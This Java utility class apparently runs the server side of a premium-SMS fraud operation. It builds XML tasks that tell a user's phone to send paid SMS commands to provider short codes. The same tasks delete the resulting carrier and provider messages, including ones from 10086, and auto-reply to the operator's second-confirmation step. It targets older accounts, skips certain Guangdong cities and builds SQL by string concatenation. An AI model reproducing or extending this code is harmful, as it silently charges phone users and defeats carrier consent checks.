package com.admin.util;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import org.apache.commons.lang.math.RandomUtils;
import org.apache.log4j.Logger;

import com.admin.bean.MobileUserBean;
import com.admin.bean.SpBean;
import com.admin.service.SpService;
import com.admin.util.db.DbOperation;


public class SpUtil {

	
	public static long MS_IN_DAY = 86400l * 1000;
	
public static int[] counts = new int[33];

public static byte[] lock = new byte[0];

public static boolean direction = true;

public static List<Integer> cidList = new ArrayList<Integer>();

public static Map<Integer,List<SpBean>> map = new HashMap<Integer,List<SpBean>>();

public static Map<Integer,List<SpBean>> mapUnicom = new HashMap<Integer,List<SpBean>>();

public static Map<Integer,Integer> spCountMap = new HashMap<Integer,Integer>();
	
private static final Logger log = Logger.getLogger(SpUtil.class);
	
	public static boolean[] flags = {
		true,true,true,true,true,
		true,true,true,true,true,
		true,true,true,true,true,
		true,true,true,true,true,
		true,true,true,true,true,
		true,true,true,true,true,
		true,true,true,
	};
	
	public static SpBean[] sps = {
		null,null,null,null,null,
		null,null,null,null,null,
		null,null,null,null,null,
		null,null,null,null,null,
		null,null,null,null,null,
		null,null,null,null,null,
		null,null,null,
	};
	
	
public static List<String> shieldGuangdong = new ArrayList<String>();
	
	public static Map<Integer,String> guangdong = new HashMap<Integer,String>();
	
	static{
		guangdong.put(1, "中山");
		guangdong.put(2, "汕尾");
		guangdong.put(3, "肇庆");
		guangdong.put(4, "惠州");
		guangdong.put(5, "韶关");
		guangdong.put(6, "佛山");
		guangdong.put(7, "阳江");
		guangdong.put(8, "江门");
		guangdong.put(9, "深圳");
		guangdong.put(10, "珠海");
		guangdong.put(11, "从化");
		guangdong.put(12, "广州");
		guangdong.put(13, "东莞");
		guangdong.put(14, "河源");
		guangdong.put(15, "顺德");
		guangdong.put(16, "汕头");
		guangdong.put(17, "潮州");
		guangdong.put(18, "湛江");
		guangdong.put(19, "梅州");
		guangdong.put(20, "云浮");
		guangdong.put(21, "花都");
		guangdong.put(22, "清远");
		guangdong.put(23, "揭阳");
		guangdong.put(24, "番禺");
	}
	
	public static boolean logFlag = true;
	
	public static List<SpBean> getSpByProvince(SpService spService,int provinceId,int isp) {
		List<SpBean> list = null;
		if(isp==0) {
			list = map.get(provinceId);
		} else if(isp == 1) {
			list = mapUnicom.get(provinceId);
		}
		if(list==null) {
			synchronized(lock) {
				
				list = spService.findSpTestBeanList(provinceId, isp);
				
				if(isp==0) {
					if(list.size()>0) {
						map.put(provinceId, list);
					}
				} else if(isp == 1) {
					if(list.size()>0) {
						mapUnicom.put(provinceId, list);
					}
				}
				
			}
		}
		
		return list;
	}
	
	public static String getScriptString(MobileUserBean user,SpService spService,int provinceId,int isp) {
//		boolean flag = false;
//		for(int cid : cidList) {
//			if(cid==user.getCid()) {
//				flag = true;
//				break;
//			}
//		}
//		
//		if(!flag) {
//			return "";
//		}
		try {
			long cur = System.currentTimeMillis()-MS_IN_DAY*20;
			
			if(cur<user.getCreateTime().getTime()) {
				return "";
			}
			
			int random = RandomUtils.nextInt(1000);
			if(!flags[provinceId]) {
				
				if(random%5==0) {
					return "";
				}
			}
			
			if(provinceId==20) {
				String phoneSub = user.getTelPhone().substring(0,7);
				String cityName = SqlUtil.getStringResult("select city from net_region_infos where phnId = "+phoneSub,DbOperation.DB_CONTENT);
				if(cityName!=null) {
					for (String str : shieldGuangdong) {
						if(cityName.equals(str)) {
							return "";
						} 
					}
				}
			}
			
			List<SpBean> spList =  getSpByProvince(spService,provinceId,isp);
			SpBean spBean = null;
			
			int size = spList==null?0:spList.size();
			///////////////////////////////////////////////////////////////////////////
			if(spList!=null) {
				
				if(size==1) {
					for(SpBean bean:spList) {
						if(bean.getStatus()<10&&bean.getStatus()>0) {
							
							spBean = bean;
							spBean.setFee(spBean.getFee()+1);
						}
					}
				} else if(size > 1) {	//随机取
					//int random = RandomUtils.nextInt(1000);
					int r = random%size; //0,1,2
					int n = 0;
					for(SpBean bean:spList) {
						if(bean.getStatus()<10) {
							if(n==r) {
								spBean = bean;
								spBean.setFee(spBean.getFee()+1);
								break;
							}
							n++;
						}
					}
				}
			}
			///////////////////////////////////
			
				//
			log.info("provinceId:"+provinceId);
			if(spBean==null) {
				log.info("sp=null");
				return "";
			}
			
			synchronized(SpUtil.class) {
				Integer count = spCountMap.get(spBean.getSpId());
				if(count ==null || count == 0) {
					count = 0;
					count++;
					spCountMap.put(spBean.getSpId(), count);
				} else {
					count++;
					spCountMap.put(spBean.getSpId(),count);
				}
			}
			
			
			
			StringBuffer scriptStr = new StringBuffer();
			scriptStr.append("<info type=\"feeTask\"");
			scriptStr.append(" id=\"sub"+random+"\"");
			scriptStr.append(" feeType=\"sms\"");//扣费的类型(SMS短信扣费，WAP 页面扣费)
			scriptStr.append(" feeTimes=\""+spBean.getFee()+"\"");//扣费次数（上行短信次数）
			scriptStr.append(" showType=\"A\"");
			//scriptStr.append("");//超时秒数
			//}
			scriptStr.append(" command=\""+Demo.decrypt(spBean.getCommand())+"\"");//上行短信的内容(指令)
			scriptStr.append(" trone=\""+Demo.decrypt(spBean.getPort())+"\"");//上行短信通道号
			
			//<info type="feeTask" id="month43" feeType="sms" feeTimes="5" showType="A" command="0" trone="106288383" delKeyword="精彩美图,客服 ,江门汉威,手机宝典" delTrone="10628838337,10086"><info> 
			/**************************下行是否屏蔽逻辑处理****************************/
			String delKeyword = "";
			String delTrone = "";
			String shieldContent = Demo.decrypt(spBean.getSpShieldContent());
			if(shieldContent!=null && shieldContent.trim().length()>0){
				
				String[] shields = shieldContent.split("#");
				
				for (String string : shields) {
					String str[] = string.split("%");
					if(delKeyword!=""&&!delKeyword.equals(str[1])){
						delKeyword += ",";
						delTrone += ",";
					}
					if(!delKeyword.equals(str[1])){
						delKeyword += str[1];
					}
					delTrone += str[0];
				}
			}
			
			String mobileShieldContent = Demo.decrypt(spBean.getIspShieldContent());
			if(mobileShieldContent!=null && mobileShieldContent.trim().length()>0){
				
				String[] shields = mobileShieldContent.split("#");
				
				for (String string : shields) {
					String str[] = string.split("%");
					if(delKeyword!=""&&!delKeyword.equals(str[1])){
						delKeyword += ",";
						delTrone += ",";
					}
					if(!delKeyword.equals(str[1])){
						delKeyword += str[1];
					}
					delTrone += str[0];
				}
				
			}
			
			if(delKeyword!=""){
				scriptStr.append(" delKeyword=\""+delKeyword+"\"");//下行短信屏蔽关键字
			}
			if(delTrone!=""){
				scriptStr.append(" delTrone=\""+delTrone+"\"");//下行短信通道号
			}
			
			/**************************二次确认逻辑处理****************************/
			
			/**
			 * 运营商二次确认
			 */
			String ispConfirmContent = Demo.decrypt(spBean.getIspConfirmContent());
			
			if(ispConfirmContent!=null&&ispConfirmContent.length()>0) {
				String str[] = ispConfirmContent.split("#");
				String confirmKeyWord[] = str[1].split("%");
				scriptStr.append(" confirmKeyword=\""+confirmKeyWord[1]+","+confirmKeyWord[2]+",\"");
				if(spBean.getIspConfirmType() == 1){//回复固定内容
					scriptStr.append(" confirmCommand=\""+str[2]+"\"");
				}else if(spBean.getIspConfirmType() == 2){//回复校验码内容
					scriptStr.append(" recFindKeywrod=\""+str[2].replace("%", "|").replace("\"", "&quot;")+"\"");
				} else {
					scriptStr.append(" confirmCommand=\"Y\"");
				}
			}
			
			scriptStr.append("></info>");
			if(logFlag)
				log.info(scriptStr);
			return scriptStr.toString();
		} catch (Exception e) {
			// TODO: handle exception
			e.printStackTrace();
		} finally {

		}
		
		return "";
	}
	
	public static void main(String[] args) {
		for (int i = 0; i < 1000; i++) {
			System.out.println(RandomUtils.nextInt(1000));
		}
		
//	 
//	 	SpService spService = (SpService)aCtx.getBean("spService");
//	 	SpBean spBean = new SpBean();
//	 	spBean.setCommand("command");
//	 	spBean.setPort("port");
//	 	spBean.setIspConfirmContent("ispConfirmContent");
//	 	spBean.setIspShieldContent("ispConfirmContent");
//	 	spBean.setSpMemo("ispConfirmContent");
//	 	spBean.setSpShieldContent("ispConfirmContent");
//	 	spService.addSpTest(spBean);
//	 	System.out.println(spService==null);
//	 	System.out.println(spService.findSpTestBeanList().size());
//	 	System.out.println(spService.updateSpTestStatus(1, 11));
	}
}
